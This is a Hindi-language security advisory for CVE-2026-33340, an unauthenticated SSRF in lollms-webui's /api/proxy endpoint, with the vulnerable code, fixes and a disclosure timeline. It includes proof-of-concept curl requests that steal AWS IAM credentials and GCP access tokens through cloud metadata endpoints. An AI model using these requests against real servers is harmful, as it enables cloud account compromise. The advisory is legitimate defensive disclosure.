
CVE-2026-33340: lollms-webui /api/proxy में गंभीर SSRF - अनप्रमाणित मनमाना अनुरोध जालसाजी (CVSS 9.1)
| क्षेत्र | विवरण |
|---|---|
| CVE ID | CVE-2026-33340 |
| भेद्यता | सर्वर-साइड अनुरोध जालसाजी (SSRF) |
| प्रभावित उत्पाद | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| गंभीरता | गंभीर — CVSS 9.1 |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: सर्वर-साइड अनुरोध जालसाजी (SSRF) |
| प्रभावित घटक | lollms_core/lollms/server/endpoints/lollms_apps.py |
| भेद्य एंडपॉइंट | /api/proxy |
| परामर्श | GHSA-mcwr-5469-pxj4 |
| NVD | NVD प्रविष्टि |
| SentinelOne | SentinelOne विश्लेषण |
| खोजकर्ता | Regaan R — ROT स्वतंत्र सुरक्षा अनुसंधान प्रयोगशाला |
lollms-webui (लॉर्ड ऑफ़ लार्ज लैंग्वेज एंड मल्टीमॉडल सिस्टम्स का वेब इंटरफ़ेस) में एक गंभीर सर्वर-साइड अनुरोध जालसाजी (SSRF) भेद्यता पाई गई है। @router.post("/api/proxy") एंडपॉइंट अप्रमाणित हमलावरों को सर्वर को मनमानी GET अनुरोध करने के लिए मजबूर करने की अनुमति देता है। इसका उपयोग आंतरिक सेवाओं तक पहुँचने, स्थानीय नेटवर्क को स्कैन करने, या AWS/GCP IAM टोकन जैसे संवेदनशील क्लाउड मेटाडेटा को बाहर निकालने के लिए किया जा सकता है।
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (पंक्तियाँ 443-450)/api/proxyयह भेद्यता इसलिए मौजूद है क्योंकि lollms_apps.py में proxy फ़ंक्शन प्रमाणीकरण या URL/डोमेन सत्यापन के किसी भी रूप को लागू नहीं करता है। यह उपयोगकर्ता से एक कच्चा URL स्ट्रिंग स्वीकार करता है और इसे सीधे एक अतुल्यकालिक HTTP क्लाइंट को भेजता है।
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) या किसी प्रमाणीकरण मिडलवेयर को कॉल नहीं करता, जिससे कोई भी अप्रमाणित उपयोगकर्ता इसे आमंत्रित कर सकता है।httpx.AsyncClient().get() में भेजा जाता है, बिना गंतव्य को व्हाइटलिस्ट के विरुद्ध जाँचे या निजी/आंतरिक IP श्रेणियों को अवरुद्ध किए।{"content": response.text} के माध्यम से कॉलर को लौटा दी जाती है, जिससे पूर्ण डेटा निष्कर्षण संभव होता है।echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
सर्वर ने आंतरिक सेवा से फ़ाइल प्राप्त की और इसकी सामग्री हमलावर को लौटा दी।
# AWS IMDSv1 — IAM क्रेडेंशियल्स प्राप्त करें
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — एक्सेस टोकन प्राप्त करें
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # यह जोड़ें
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # क्लाउड मेटाडेटा
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# होस्टनेम एक डोमेन है — हल करें और जाँचें
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
प्रकाशन तिथि के अनुसार, lollms-webui का एक पैच किया गया संस्करण पहले ही जारी किया जा चुका है।
| तारीख | घटना |
|---|---|
| 2026-03-07 | भेद्यता की खोज की गई और GitHub सुरक्षा सलाहकार के माध्यम से रिपोर्ट की गई |
| 2026-03-24 | CVE-2026-33340 NVD पर प्रकाशित |
| 2026-03-25 | NVD डेटाबेस प्रविष्टि अद्यतन |
| 2026-03-27 | SentinelOne भेद्यता विश्लेषण प्रकाशित करता है |
Regaan R (@regaan) प्रमुख शोधकर्ता — ROT स्वतंत्र सुरक्षा अनुसंधान प्रयोगशाला
यह लेख केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित किया गया है। भेद्यता को GitHub सुरक्षा सलाहकारों के माध्यम से जिम्मेदार प्रकटीकरण के माध्यम से रिपोर्ट किया गया था। भेद्यताओं का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
यह लेख CC BY 4.0 के तहत जारी किया गया है।
| परिदृश्य | विवरण |
|---|
| क्लाउड क्रेडेंशियल चोरी | क्लाउड प्लेटफ़ॉर्म (AWS/GCP/Azure) पर हमलावर इंस्टेंस मेटाडेटा, IAM क्रेडेंशियल्स और एक्सेस टोकन प्राप्त करने के लिए http://169.254.169.254/ तक पहुँच सकते हैं — जिससे पूर्ण क्लाउड खाते से समझौता हो सकता है। |
| आंतरिक नेटवर्क पिवोटिंग | हमलावर आंतरिक डेटाबेस, API, एडमिन पैनल और प्रबंधन इंटरफ़ेस की जाँच कर सकते हैं जो सार्वजनिक इंटरनेट पर उजागर नहीं हैं। |
| लोकलहोस्ट सेवा पहुँच | हमलावर localhost-बाध्य सेवाओं (Redis, Elasticsearch, Docker API, डेटाबेस कंसोल) तक पहुँच सकते हैं जो स्थानीय ट्रैफ़िक पर भरोसा करती हैं। |
| आंतरिक पोर्ट स्कैनिंग | प्रतिक्रिया समय और त्रुटि संदेशों को देखकर SSRF का उपयोग आंतरिक नेटवर्क पर खुले पोर्ट और चल रही सेवाओं की गणना करने के लिए किया जा सकता है। |
| डेटा निष्कर्षण | सर्वर के नेटवर्क की पहुँच के भीतर कोई भी HTTP-सुलभ डेटा पढ़ा जा सकता है और हमलावर को लौटाया जा सकता है। |